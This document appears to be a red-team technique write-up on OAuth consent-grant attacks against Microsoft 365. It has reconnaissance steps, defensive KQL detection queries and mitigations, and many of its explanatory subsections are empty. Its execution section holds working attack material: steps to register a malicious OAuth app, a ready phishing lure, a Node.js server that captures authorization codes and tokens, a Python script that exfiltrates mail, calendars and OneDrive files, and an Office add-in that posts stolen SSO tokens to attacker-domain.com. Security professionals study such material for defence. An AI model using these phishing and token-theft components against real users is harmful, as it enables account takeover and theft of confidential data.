MCADDF

[MISCONFIG-014]: Unmanaged External Apps

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-014
MITRE ATT&CK v18.1 T1537 - Transfer Data to Cloud Account
Tactic Exfiltration / Defense Evasion
Platforms M365 / Entra ID
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Entra ID / Microsoft 365 versions
Patched In N/A (Configuration-based, not a code vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 3.1.3 Ensure that only approved third-party applications can connect to M365
DISA STIG V-226488 Unmanaged applications must be prevented from accessing organizational data
CISA SCuBA CA-3(1) Approved Connection Control – M365 must restrict OAuth to verified publishers
NIST 800-53 AC-2 Account Management – Manage app registrations and consent grants
NIST 800-53 AC-3 Access Enforcement – OAuth permissions must align with business need
NIST 800-53 SI-7 Software, Firmware, and Information Integrity – Validate third-party app integrity
GDPR Art. 32 Security of Processing – Processor (third-party app) must be vetted and contractually bound
DORA Art. 10 Governance and Oversight – Critical service dependencies (including apps) must be validated
NIS2 Art. 19 Incident Reporting – Unauthorized app access represents a reportable incident
ISO 27001 A.6.1 Internal Organization – Third-party access must follow ISM controls
ISO 27001 A.8.1 Asset Management – SAAS applications are assets requiring governance
ISO 27005 Risk Scenario “Unvetted SaaS application gains persistent OAuth access to M365 mailbox”

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools (Optional):


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# List all OAuth applications and their permissions in the tenant
Connect-MgGraph -Scopes "Application.Read.All"

# Get all service principals (apps that have been granted consent)
Get-MgServicePrincipal -Top 999 | Select-Object -Property DisplayName, AppId, PublisherName | ForEach-Object {
    Write-Host "App: $($_.DisplayName) | Publisher: $($_.PublisherName)" -ForegroundColor Cyan
}

What to Look For:

Azure Portal Reconnaissance

  1. Navigate to Entra IDApplicationsEnterprise Applications
  2. Sort by Creation date (newest first)
  3. Filter by Publisher = “Unknown” or blank
  4. Examine Permissions and Users who consented

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

Supported Versions: All Entra ID versions

Step 1: Create a Malicious OAuth Application

Objective: Register a fake SaaS application in Entra ID (or an external OAuth provider).

Manual Steps (Attacker-Controlled):

  1. Create a legitimate-looking SaaS application (e.g., a fake “Expense Report Manager”).
  2. Host it on a domain similar to legitimate services (e.g., expense-manager-pro.com instead of expensemanager.com).
  3. Register an OAuth app in Entra ID:
    • Go to Entra IDApp registrationsNew registration
    • Name: “Expense Report Manager Pro” (mimics legitimate company tool)
    • Redirect URI: https://attacker-domain.com/auth/callback
    • Click Register
  4. Configure API permissions:
    • Go to API permissionsAdd a permission
    • Select Microsoft Graph
    • Add Mail.Read, Calendars.Read, Files.ReadWrite
    • Do NOT require admin consent (enable user consent)

Expected Outcome:

Step 2: Craft Phishing Lure

Objective: Create a convincing phishing message that redirects users to the OAuth consent screen.

Phishing Message (Email):

Subject: Important: Verify Your Microsoft 365 Access

Dear [Company Name] Employee,

Your access to the Expense Report Management Portal has been upgraded! 
Please click below to authorize the new integration:

[CLICK HERE TO AUTHORIZE](https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=<ATTACKER_APP_ID>&
  redirect_uri=https://attacker-domain.com/auth/callback&
  response_type=code&
  scope=mail.read%20calendars.read%20files.readwrite&
  prompt=consent)

This integration will allow you to access expense reports directly from Teams.

Best regards,
IT Administration

What This Does:

OpSec & Evasion:

Step 3: Capture Authorization Code and Exchange for Token

Objective: Intercept the authorization code and exchange it for an access token.

Attacker’s Backend Server (Node.js Example):

const express = require('express');
const axios = require('axios');
const app = express();

const CLIENT_ID = 'attacker-app-id-from-entra-id';
const CLIENT_SECRET = 'attacker-app-secret';
const REDIRECT_URI = 'https://attacker-domain.com/auth/callback';

app.get('/auth/callback', async (req, res) => {
    const authCode = req.query.code;
    const tenant = req.query.tenant;
    
    console.log(`[+] Authorization code captured: ${authCode}`);
    
    try {
        // Exchange authorization code for access token
        const tokenResponse = await axios.post(
            `https://login.microsoftonline.com/${tenant}/oauth2/v2.0/token`,
            {
                client_id: CLIENT_ID,
                client_secret: CLIENT_SECRET,
                code: authCode,
                redirect_uri: REDIRECT_URI,
                grant_type: 'authorization_code',
                scope: 'https://graph.microsoft.com/.default'
            }
        );
        
        const accessToken = tokenResponse.data.access_token;
        const refreshToken = tokenResponse.data.refresh_token;
        
        console.log(`[+] Access token obtained: ${accessToken.substring(0, 50)}...`);
        console.log(`[+] Refresh token: ${refreshToken.substring(0, 50)}...`);
        
        // Store tokens in database for later use
        saveTokens(authCode, accessToken, refreshToken);
        
        // Redirect user to legitimate-looking page
        res.redirect('https://expense-manager-pro.com/success?status=authorized');
        
    } catch (error) {
        console.error('[-] Token exchange failed:', error.message);
        res.status(500).send('Authorization failed. Please try again.');
    }
});

app.listen(443, '0.0.0.0', () => {
    console.log('[+] OAuth callback server listening on port 443');
});

Expected Output:

[+] Authorization code captured: M.R3_BAY...
[+] Access token obtained: eyJhbGciOiJSUzI1NiIsImtpZCI6IjE...
[+] Refresh token: 0.ARwA8WH...

What This Means:

Step 4: Exfiltrate Data Using the Stolen Token

Objective: Use the access token to read emails, files, and calendar events.

Attacker’s Data Extraction Script (Python):

import requests
import json
from datetime import datetime, timedelta

access_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjE..."

headers = {
    'Authorization': f'Bearer {access_token}',
    'Content-Type': 'application/json'
}

# Endpoint 1: Read all emails
def extract_emails():
    url = "https://graph.microsoft.com/v1.0/me/messages"
    params = {
        '$select': 'subject,from,receivedDateTime,bodyPreview',
        '$orderby': 'receivedDateTime desc',
        '$top': 100
    }
    
    response = requests.get(url, headers=headers, params=params)
    emails = response.json()['value']
    
    print(f"[+] Extracted {len(emails)} emails:")
    for email in emails:
        print(f"  - From: {email['from']['emailAddress']['address']}")
        print(f"    Subject: {email['subject']}")
        print(f"    Preview: {email['bodyPreview'][:100]}")
    
    return emails

# Endpoint 2: Read calendar events (to identify meetings with sensitive parties)
def extract_calendar():
    url = "https://graph.microsoft.com/v1.0/me/calendarview"
    params = {
        'startDateTime': (datetime.now() - timedelta(days=90)).isoformat(),
        'endDateTime': (datetime.now() + timedelta(days=30)).isoformat(),
        '$select': 'subject,attendees,start,end,bodyPreview',
        '$top': 200
    }
    
    response = requests.get(url, headers=headers, params=params)
    events = response.json()['value']
    
    print(f"[+] Extracted {len(events)} calendar events:")
    for event in events:
        print(f"  - {event['subject']} at {event['start']['dateTime']}")
        for attendee in event['attendees']:
            print(f"    Attendee: {attendee['emailAddress']['address']}")
    
    return events

# Endpoint 3: List files in OneDrive
def extract_files():
    url = "https://graph.microsoft.com/v1.0/me/drive/root/children"
    
    response = requests.get(url, headers=headers)
    files = response.json()['value']
    
    print(f"[+] Extracted {len(files)} files from OneDrive:")
    for file in files:
        print(f"  - {file['name']} ({file.get('size', 'N/A')} bytes)")
    
    return files

# Execute extraction
print("[*] Starting data exfiltration...\n")
emails = extract_emails()
calendar = extract_calendar()
files = extract_files()

# Save to JSON for offline analysis
with open('/tmp/exfiltrated_data.json', 'w') as f:
    json.dump({
        'emails': emails,
        'calendar_events': calendar,
        'files': files
    }, f, indent=2)

print("[+] Data exfiltrated to /tmp/exfiltrated_data.json")

Expected Output:

[+] Extracted 342 emails:
  - From: boss@company.com
    Subject: Strategic Acquisition Plan - CONFIDENTIAL
    Preview: We are planning to acquire TechCorp Inc. The board approved...
  
[+] Extracted 87 calendar events:
  - Board Meeting - Quarterly Review at 2026-01-15T14:00:00
    Attendee: ceo@company.com
    Attendee: cfo@company.com

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: OAuth Token Theft via Malicious Add-in (Advanced)

Supported Versions: Outlook, Teams, Excel add-ins

Step 1: Develop Malicious Office Add-in

Objective: Create an Excel add-in that silently exfiltrates OAuth tokens.

Add-in Manifest (XML):

<?xml version="1.0" encoding="UTF-8"?>
<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1">
  <Id>12345678-1234-1234-1234-123456789012</Id>
  <Version>1.0.0.0</Version>
  <ProviderName>Data Analysis Tool</ProviderName>
  <DefaultLocale>en-US</DefaultLocale>
  <DisplayName DefaultValue="Advanced Data Analysis"/>
  <Description DefaultValue="Analyze financial data with AI-powered insights"/>
  <Hosts>
    <Host Name="Workbook"/>
  </Hosts>
  <DefaultSettings>
    <SourceLocation DefaultValue="https://attacker-domain.com/taskpane.html"/>
  </DefaultSettings>
  <Permissions>AllowMultipleAppDomainsWebApiCall</Permissions>
</OfficeApp>

Step 2: Inject Token Theft Code

Objective: Use Office JavaScript API to capture tokens and send to attacker server.

Add-in Code (JavaScript):

Office.onReady(async (reason) => {
    if (reason === Office.HostType.Excel) {
        // Attempt to steal OAuth token using Office SSO flow
        try {
            const token = await OfficeRuntime.auth.getAccessToken({
                allowSignInPrompt: true,
                allowConsentPrompt: true,
                forMSGraphAccess: true,
            });
            
            console.log(`[+] Token captured: ${token.substring(0, 50)}...`);
            
            // Send token to attacker's server
            await fetch('https://attacker-domain.com/collect-token', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    token: token,
                    user_agent: navigator.userAgent,
                    timestamp: new Date().toISOString()
                })
            });
            
            console.log("[+] Token sent to attacker server");
            
        } catch (error) {
            console.error('[-] Token theft failed:', error);
        }
    }
});

OpSec & Evasion:


6. DETECTION & FORENSIC ARTIFACTS

Indicators of Compromise (IOCs)

Forensic Artifacts


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Check if user consent for unverified publishers is disabled
Connect-MgGraph -Scopes "Policy.Read.All"

Get-MgPolicyAuthorizationPolicy | Select-Object -Property DefaultUserRolePermissions

Expected Output (If Secure):

AllowedToCreateApps          : False
AllowedToCreateTenantApps    : False
AllowedToReadOtherUsers      : False

8. DETECTION & INCIDENT RESPONSE

Microsoft Sentinel KQL Query

Query 1: Unusual OAuth App Consent Activity

AuditLogs
| where OperationName == "Consent to application"
| where TargetResources[0].type == "ServicePrincipal"
| extend AppName = TargetResources[0].displayName
| extend AppPublisher = TargetResources[0].modifiedProperties[0].newValue
| where AppPublisher != "Microsoft Corporation"
| summarize ConsentCount = count() by AppName, InitiatedBy.user.userPrincipalName
| where ConsentCount > 1

What This Detects:

Query 2: Risky OAuth Application with Graph Permissions

AuditLogs
| where OperationName contains "Add service principal"
| where TargetResources[0].modifiedProperties any (x => x.newValue contains "Mail.Read" or x.newValue contains "Calendars.Read" or x.newValue contains "Files.ReadWrite")
| where TargetResources[0].displayName !contains "Microsoft"

What This Detects:


Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker crafts phishing link to OAuth consent screen
2 Current Step [MISCONFIG-014] User grants OAuth consent to unvetted app
3 Exfiltration [T1537] Transfer Data to Cloud Account App uses stolen token to exfiltrate mail/files
4 Impact Email/Data Breach Sensitive communications and files exposed

10. REAL-WORLD EXAMPLES

Example 2: APT29 (Cozy Bear) OAuth Token Theft (2021)


11. REMEDIATION CHECKLIST


12. ADDITIONAL NOTES